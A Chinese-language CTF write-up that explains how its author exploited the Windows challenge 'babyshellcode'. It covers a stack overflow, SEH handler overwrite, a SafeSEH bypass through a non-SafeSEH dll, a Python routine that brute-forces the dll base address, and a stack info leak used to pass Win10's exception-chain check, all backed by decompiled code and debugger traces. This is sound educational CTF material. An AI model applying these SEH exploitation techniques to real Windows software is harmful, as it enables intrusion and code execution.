HITB GSEC CTF Win Pwn解題全記錄之babyshellcode
前言
這次在HITB GSEC CTF打醬油,也有了一次學習的機會,這次CTF出現了兩道Windows pwn,我個人感覺質量非常高,因為題目出了本身無腦洞的漏洞之外,更多的讓選手們專注于對Windows系統的防護機制(seh)原理的研究,再配合漏洞來完成對機制的突破和利用,在我做完之后重新整理整個解題過程,略微有一些窒息的感覺,感覺整個利用鏈環環相扣,十分精彩,不得不膜一下Atum大佬,題目出的真的好!對于菜鳥來說,是一次非常好的鍛煉機會。
因此我認真總結了我們從拿到題目,多種嘗試,不斷改進exp,到最后獲得shell的整個過程,而不僅僅是針對題目,希望能對同樣奮斗在win pwn的小伙伴有一些幫助。
Babyshellcode Writeup with SEH and SafeSEH From Windows xp to Windows 10
拿到題目的時候,我們發現程序存在一個很明顯的棧溢出,而且題目給的一些條件非常好,在棧結構中存在SEH鏈,在常規的利用SEH鏈進行棧溢出從而控制eip的過程中,我們會使用棧溢出覆蓋seh handler,這是一個seh chain中的一個指針,它指向了異常處理函數。
但是程序中開啟了safeseh,也就是說,單純的通過覆蓋seh handler跳轉是不夠的,我們首先需要bypass safeseh。
OK,我們來看題目。
在題目主函數中,首先在scmgr.dll中會初始化存放shellcode的堆,調用的是VirtualAlloc函數,并且會打印堆地址。
v0 = VirtualAlloc(0, 20 * SystemInfo.dwPageSize, 0x1000u, 0x40u);//注意這里的flprotect是0x40
dword_1000338C = (int)v0;
if ( v0 )
{
sub_10001020("Global memory alloc at %pn", (char)v0);//打印堆地址
result = dword_1000338C;
dword_10003388 = dword_1000338C;
}
這里VirtualAlloc中有一個參數是flprotect,值是0x40,表示擁有RWE權限。
#define PAGE_EXECUTE_READWRITE 0x40
這個堆地址會用于存放shellcode,在CreateShellcode函數中會將shellcode拷貝到Memory空間里。
v4 = 0;//v4在最開始拷貝的時候值是0
??
v11 = (int)*(&Memory + v4);//將Memory地址指針交給v11
v13 = getchar();
v14 = 0;
if ( v12 )
{
do
{
*(_BYTE *)(v14++ + v15) = v13;//為Memory賦值
v13 = getchar();
}
while ( v14 != v12 );
v4 = v16;
}
執行結束之后可以看到shellcode已經被拷貝到目標空間中。

隨后執行runshellcode指令的時候,會調用“虛函數”,這里用引號表示,其實并不是真正的虛函數,只是虛函數的一種常見調用方法(做了CFG check,這里有個小插曲),實際上調用的是VirtualAlloc出來的堆的地址。
v4 = *(void (**)(void))(v1 + 4); __guard_check_icall_fptr(*(_DWORD *)(v1 + 4)); v4();
可以看到這里有個CFG check,之前我們一直以為環境是Win7,在Win7里CFG沒有實裝,這個在我之前的一篇IE11瀏覽器漏洞的文章中也提到過(https://whereisk0shl.top/cve_2017_0037_ie11&edge_type_confusion.html),因此這個Check是沒用的,但是后來得知系統是Win10(這個后面會提到),這里會檢查指針是否合法,這里無論如何都會合法,因為v1+4位置的值控制不了,這里就是指向堆地址。
這里跳轉到堆地址后會由于shellcode頭部4字節被修改,導致進入堆地址后是無效的匯編指令。
byte_405448 = 1;
puts("Hey, Welcome to shellcode test system!");
if ( byte_405448 )
{
v3 = *(_DWORD **)(v1 + 4);
memcpy(&Dst, *(const void **)(v1 + 4), *(_DWORD *)(v1 + 8));//這里沒有對長度進行控制,造成棧溢出
*v3 = -1;
}
byte_405448是一個全局變量is_guard,它在runshellcode里決定了存放shellcode堆指針指向的shellcode前4字節是否改成0xffffffff,這里byte_405448的值是1,因此頭部會被修改,而我們也必須進入這里,只有這里才能造成棧溢出。
0:000> g Breakpoint 1 hit eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430 eip=00a113f3 esp=002bf794 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 babyshellcode+0x13f3: 00a113f3 c706ffffffff mov dword ptr [esi],0FFFFFFFFh ds:0023:000e0000=61616161//shellcode頭部被修改前正常 0:000> dd e0000 l1 000e0000 61616161 0:000> p eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430 eip=00a113f9 esp=002bf794 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 babyshellcode+0x13f9: 00a113f9 8b7704 mov esi,dword ptr [edi+4] ds:0023:0048e434=000e0000 0:000> dd e0000 l1//頭部被修改成0xffffffff 000e0000 ffffffff
隨后我們跳轉到頭部執行,由于指令異常進入異常處理模塊。
0:000> p
eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=00a11404 esp=002bf794 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x1404:
00a11404 ffd6 call esi {000e0000}//跳轉到堆
0:000> t
eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=000e0000 esp=002bf790 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
000e0000 ff ???//異常指令
0:000> p//進入異常處理模塊
(20f90.20f9c): Illegal instruction - code c000001d (first chance)
eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=770b6bc9 esp=002bf340 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ntdll!KiUserExceptionDispatcher+0x1:
770b6bc9 8b4c2404 mov ecx,dword ptr [esp+4] ss:0023:002bf344=002bf35c
利用SEH是棧溢出里常見的一種利用方法,在沒有SafeSEH和SEHOP的情況下,可以利用seh里一個特殊的結構seh handler,通過覆蓋它來完成eip/rip的控制,它指向的是異常處理函數,而加入了safeseh之后,會對sehhandler進行check,檢查它是否可信,不可信的話返回0,則不會跳轉到seh handler。而這個safeseh的check在ntdll的RtlIsValidHandler函數中,幾年前Alex就發了關于這個函數的解讀,現在偽代碼遍地都是了。
BOOL RtlIsValidHandler(handler)
{
if (handler is in an image)//step 1
{
// 在加載模塊的進程空間
if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
return FALSE; // 該標志設置,忽略異常處理,直接返回FALSE
if (image has a SafeSEH table) // 是否含有SEH表
if (handler found in the table)
return TRUE; // 異常處理handle在表中,返回TRUE
else
return FALSE; // 異常處理handle不在表中,返回FALSE
if (image is a .NET assembly with the ILonly flag set)
return FALSE; // .NET 返回FALSE
// fall through
}
if (handler is on a non-executable page)//step 2
{
// handle在不可執行頁上面
if (ExecuteDispatchEnable bit set in the process flags)
return TRUE; // DEP關閉,返回TRUE;否則拋出異常
else
raise ACCESS_VIOLATION; // enforce DEP even if we have no hardware NX
}
if (handler is not in an image)//step 3
{
// 在加載模塊內存之外,并且是可執行頁
if (ImageDispatchEnable bit set in the process flags)
return TRUE; // 允許在加載模塊內存空間外執行,返回驗證成功
else
return FALSE; // don't allow handlers outside of images
}
// everything else is allowed
return TRUE;
}
首先我們想到的是利用堆指針來bypass safeseh,正好這個堆地址指向的shellcode,但是由于頭部四字節唄修改成了0xffffffff,因此我們只需要覆蓋seh handler為heap address+4,然后把shellcode跳過開頭4字節編碼,頭4字節放任意字符串(反正會被編碼成0xffffffff),然后后面放shellcode的內容,應該就可以達到利用了(事實證明我too young too naive了,這個方法在win xp下可以用。)
于是我們想到的棧布局如下:

但我們這樣執行后,在windows xp下可以完成,但是win7下依然crash了,這就需要我們跟進ntdll!RtlIsValidHandler函數,回頭看下偽代碼部分。
這里有三步check,首先step1,if是不通過的因為堆地址屬于加載進程外的地址,同理step2也是不通過的,因為堆地址申請的時候是可執行的,之所以用堆繞過SafeSEH是因為堆地址屬于當前進程加載內存映像空間之外的地址。
0:000> !address e0000 Usage: Allocation Base: 000e0000 Base Address: 000e0000 End Address: 000f4000 Region Size: 00014000 Type: 00020000 MEM_PRIVATE State: 00001000 MEM_COMMIT Protect: 00000040 PAGE_EXECUTE_READWRITE
那么safeseh進入step 3,又是加載模塊內存之外的,又是可執行的,在winxp,通過堆繞過是可行的,但是在Win7及以上版本就不行了,為什么呢,因為這里多了一個Check,內容是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE,它決定了是否允許在加載模塊內存空間外執行。

這里只有當第六個比特為1時,才是可執行的
這里值是0x4d,也就是1001101,第六個比特是0,也就是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE是不允許的,因此會return FALSE。
0:000> p eax=00000000 ebx=000e0000 ecx=002bf254 edx=770b6c74 esi=002bf348 edi=00000000 eip=77100224 esp=002bf274 ebp=002bf2b0 iopl=0 nv up ei ng nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287 ntdll!RtlIsValidHandler+0xff: 77100224 8a450c mov al,byte ptr [ebp+0Ch] ss:0023:002bf2bc=4d 0:000> p eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000 eip=7708f88d esp=002bf2b4 ebp=002bf330 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!RtlIsValidHandler+0xfc: 7708f88d c20800 ret 8 0:000> p eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000 eip=7708f9fe esp=002bf2c0 ebp=002bf330 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!RtlDispatchException+0x10e: 7708f9fe 84c0 test al,al 0:000> r al al=0
通過堆繞過的方法失敗了,我們又找到了其他方法,就是通過未開啟safeseh的dll的方法來繞過safeseh,這里我們找到了scmgr.dll,它是一個未開啟safeseh的模塊,這個可以直接通過od的OllySSEH功能看到SafeSEH的開啟狀態。

這里我們只需要把seh handler指向scmgr.dll就可以了,而且我們在scmgr.dll里發現,其實system('cmd')已經在里面了,只需要跳轉過去就可以了。
.text:10001100 public getshell_test .text:10001100 getshell_test proc near ; DATA XREF: .rdata:off_10002518o .text:10001100 push offset Command ; "cmd" .text:10001105 call ds:system .text:1000110B ; 3: return 0; .text:1000110B add esp, 4 .text:1000110E xor eax, eax .text:10001110 retn .text:10001110 getshell_test endp
但是這里有一個問題,就是scmgr.dll的基址是多少,這里我們想了兩種方法來獲得基址,一個是爆破,因為我們發現scmgr.dll在每次進程重啟的時候基址都不變,因此我們只需要在0x60000000-0x8000000之間爆破就可以,0x8000000之上是內核空間的地址了,因此只需要爆破這個范圍即可。(由于剛開始以為是win7,所以爆破的時候有一點沒有考慮到,導致目標總是crash,我們也找不到原因,本地測試是完全沒問題的,后面會提到)。
還有一種方法是我們看到了set shellcodeguard函數,這個就是我們之前提到對is_guard那個全局變量設置的函數,但實際上,這個也沒法把這個值置0,畢竟置0之后直接就能擼shellcode了,但我們關注到Disable Shellcode Guard中一個有趣的加密。
puts("1. Disable ShellcodeGuard");
puts("2. Enable ShellcodeGuard");
??
if ( v2 == 1 )//加密在這里
{
v3 = ((int (*)(void))sub_4017F0)();
v4 = sub_4017F0(v3);
v5 = sub_4017F0(v4);
v6 = sub_4017F0(v5);
v7 = sub_4017F0(v6);
v8 = sub_4017F0(v7);
sub_4017C0("Your challenge code is %x-%x-%x-%x-%x-%xn", v8);
puts("challenge response:");
v9 = 0;
v10 = getchar();
do
{
if ( v10 == 10 )
break;
++v9;
v10 = getchar();
}
while ( v9 != 20 );
puts("respose wrong!");
}
else//當v2為0的時候是Enable Shellcode Guard,全局變量置1
{
if ( v2 == 2 )
{
byte_405448 = 1;
return 0;
}
puts("wrong option");
}
這個加密其實很復雜的。

后來官方也給出了hint,Hint for babyshellcode: The algorithm is neither irreversible nor z3-solvable.告訴大家這個加密算法不可逆,別想了!
先我們來看一下這個加密算法加密的什么玩意,我們跟入這個算法。
0:000> p
eax=ae7e77d0 ebx=0000001f ecx=0cd4ae6b edx=00000000 esi=00ae7e77 edi=354eaad0
eip=00a11818 esp=0016fcd8 ebp=0016fd08 iopl=0 ov up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a07
babyshellcode+0x1818:
*** WARNING: Unable to verify checksum for C:Userssh1Desktopscmgr.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Userssh1Desktopscmgr.dll -
00a11818 3334955054a100 xor esi,dword ptr babyshellcode+0x5450 (00a15450)[edx*4] ds:0023:00a15450={scmgr!init_scmgr (67bc1090)}
發現在算法初始化的時候,加密的是scmgr!init_scmgr的地址,也就是67bc1090,這個就厲害了,既然不可逆,我們把這個算法dump出來正向爆破去算,如果結果等于最后加密的結果,那就是碰到基址了,這樣一是不用頻繁和服務器交互,二是及時dll每次進程重啟基址都改變,也能直接通過這種方法不令進程崩潰也能獲得到基址。
def gen_cha_code(base): init_scmgr = base*0x10000 +0x1090 value = init_scmgr g_table = [value] for i in range(31): value = (value * 69069)&0xffffffff g_table.append(value) g_index = 0 v0 = (g_index-1)&0x1f v2 = g_table[(g_index+3)&0x1f]^g_table[g_index]^(g_table[(g_index+3)&0x1f]>>8) v1 = g_table[v0] v3 = g_table[(g_index + 10) & 0x1F] v4 = g_table[(g_index - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8) & 0x1F])) << 14) v4 = v4&0xffffffff g_table[g_index] = v2^v4 g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7))&0xffffffff g_index = (g_index - 1) & 0x1F return g_table[g_index]
這樣,獲取到基址之后,我們就能夠構造seh handler了,直接令seh handler指向getshell_test就直接能獲得和目標的shell交互了。通過棧溢出覆蓋seh chain。
0:000> !exchain 0016fcf8: scmgr!getshell_test+0 (67bc1100) Invalid exception stack at 0d16fd74
進入safeseh,由于在nosafeseh空間,返回true,該地址可信。
0:000> p eax=72b61100 ebx=0023f99c ecx=0023f424 edx=770b6c74 esi=0023f4c8 edi=00000000 eip=7708f9f9 esp=0023f438 ebp=0023f4b0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ntdll!RtlDispatchException+0x109: 7708f9f9 e815feffff call ntdll!RtlIsValidHandler (7708f813) 0:000> p eax=0023f401 ebx=0023f99c ecx=73a791c6 edx=00000000 esi=0023f4c8 edi=00000000 eip=7708f9fe esp=0023f440 ebp=0023f4b0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!RtlDispatchException+0x10e: 7708f9fe 84c0 test al,al 0:000> r al al=1
進入call seh handler,跳轉到getshell_test。
0:000> p
eax=00000000 ebx=00000000 ecx=73a791c6 edx=770b6d8d esi=00000000 edi=00000000
eip=770b6d74 esp=0023f3e4 ebp=0023f400 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x21:
770b6d74 8b4d18 mov ecx,dword ptr [ebp+18h] ss:0023:0023f418={scmgr!getshell_test (72b61100)}
0:000> p
eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000
eip=770b6d77 esp=0023f3e4 ebp=0023f400 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x24:
770b6d77 ffd1 call ecx {scmgr!getshell_test (72b61100)}
0:000> t
eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000
eip=72b61100 esp=0023f3e0 ebp=0023f400 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
scmgr!getshell_test:
72b61100 68f420b672 push offset scmgr!getshell_test+0xff4 (72b620f4)

到這里利用就完整了嗎?我們在win7下沒問題了,但是在目標卻一直crash掉,實在是搞不明白,后來才知道,我們用錯了環境!原來目標是Win10…
Win10的SafeSEH和Win7又有所區別,這里要提到SEH的兩個域,一個是prev域和handler域,prev域會存放一個指向下一個seh chain的棧地址,handler域就是存放的seh handler,而Win10里面多了一個Check函數ntdll!RtlpIsValidExceptionChain,這個函數會去獲得當前seh chain的prev域的值。
0:000> p//這里我們覆蓋prev為0x61616161 eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=030ff278 edi=030fd000 eip=7771ea79 esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!RtlpIsValidExceptionChain+0x2b: 7771ea79 8b31 mov esi,dword ptr [ecx] ds:002b:030ff7ac=61616161 0:000> p eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000 eip=7771ea7b esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!RtlpIsValidExceptionChain+0x2d: 7771ea7b 83feff cmp esi,0FFFFFFFFh 0:000> p eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000 eip=7771ea7e esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213 ntdll!RtlpIsValidExceptionChain+0x30: 7771ea7e 740f je ntdll!RtlpIsValidExceptionChain+0x41 (7771ea8f) [br=0]
隨后,會去和seh表里存放的prev域的值進行比較。
0:000> p eax=030ff7b4 ebx=03100000 ecx=61616161 edx=6fdd1100 esi=61616161 edi=030fd000 eip=7771ea8a esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213 ntdll!RtlpIsValidExceptionChain+0x3c: 7771ea8a 8d53f8 lea edx,[ebx-8] 0:000> p eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000 eip=7771ea8d esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213 ntdll!RtlpIsValidExceptionChain+0x3f: 7771ea8d ebd6 jmp ntdll!RtlpIsValidExceptionChain+0x17 (7771ea65) 0:000> p eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000 eip=7771ea65 esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213 ntdll!RtlpIsValidExceptionChain+0x17: 7771ea65 3bc1 cmp eax,ecx//ecx寄存器存放的是棧里被覆蓋的,eax存放的是正常的pointer to next chain
可以看到這里檢測是不通過的,因此造成了crash,所以,我們需要對seh chain進行fix,把pointer to next chain修改成下一個seh chain的棧地址,這就需要我們獲取當前的棧地址,棧地址是自動動態申請和回收的,和堆不一樣,因此每次棧地址都會發生變化,我們需要一個stack info leak。
于是我們在程序中找到了這樣一個stack info leak的漏洞,開頭有個stack info leak,在最開始的位置。
v1 = getchar();
do
{
if ( v1 == 10 )
break;
*((_BYTE *)&v5 + v0++) = v1;
v1 = getchar();
}
while ( v0 != 300 );
sub_4017C0("hello %sn", &v5);
0:000> g//一字節一字節寫入,esi是計數器,ebp-18h是指向拷貝目標的指針
Breakpoint 0 hit
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8
eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x16a4:
000a16a4 884435e8 mov byte ptr [ebp+esi-18h],al ss:0023:0036f920=00
0:000> p
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8
eip=000a16a8 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x16a8:
000a16a8 46 inc esi
0:000> p//獲取下一字節
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000001 edi=005488a8
eip=000a16a9 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
babyshellcode+0x16a9:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Userssh1Desktopucrtbase.DLL -
000a16a9 ff15e4300a00 call dword ptr [babyshellcode+0x30e4 (000a30e4)] ds:0023:000a30e4={ucrtbase!getchar (5740b260)}
0:000> p//判斷長度
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16af esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
babyshellcode+0x16af:
000a16af 81fe2c010000 cmp esi,12Ch
0:000> p
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16b5 esp=0036f90c ebp=0036f938 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
babyshellcode+0x16b5:
000a16b5 75e9 jne babyshellcode+0x16a0 (000a16a0) [br=1]
0:000> p//判斷是否是回車
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16a0 esp=0036f90c ebp=0036f938 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
babyshellcode+0x16a0:
000a16a0 3c0a cmp al,0Ah
0:000> p
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16a2 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x16a2:
000a16a2 7413 je babyshellcode+0x16b7 (000a16b7) [br=0]
0:000> p//繼續寫入
Breakpoint 0 hit
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x16a4:
000a16a4 884435e8 mov byte ptr [ebp+esi-18h],al ss:0023:0036f921=00
這里判斷的長度是0x12C,也就是300,但實際上拷貝目標ebp-18很短,而esi會不斷增加,而沒有做控制,最關鍵的是這個過程。
.text:004016A4 ; 20: *((_BYTE *)&v5 + v0++) = v1; .text:004016A4 mov byte ptr [ebp+esi+var_18], al .text:004016A8 ; 21: v1 = getchar(); .text:004016A8 inc esi//key!! .text:004016A9 call ds:getchar .text:004016AF ; 23: while ( v0 != 300 ); .text:004016AF cmp esi, 12Ch
這里是在賦值結束之后,才將esi自加1,然后才去做長度判斷,然后再跳轉去做是否回車的判斷,如果回車則退出,也就是說,這里會多造成4字節的內存泄漏,我們來看一下賦值過程中的內存情況。
0:000> dd ebp-18 l7 0036f920 00000061 00000000 00000000 00000000 0036f930 00000000 1ea6b8ab 0036f980
可以看到,在0036f920地址偏移+0x18的位置存放著一個棧地址,也就是說,如果我們讓name的長度覆蓋到0036f938位置的時候,多泄露的4字節是一個棧地址,這樣我們就可以用來fix seh stack了。

有了這個內存泄漏,我們就可以重新構造棧布局了,棧布局如下:

這樣,結合之前我們的整個利用過程,完成整個利用鏈,最后完成shell交互。
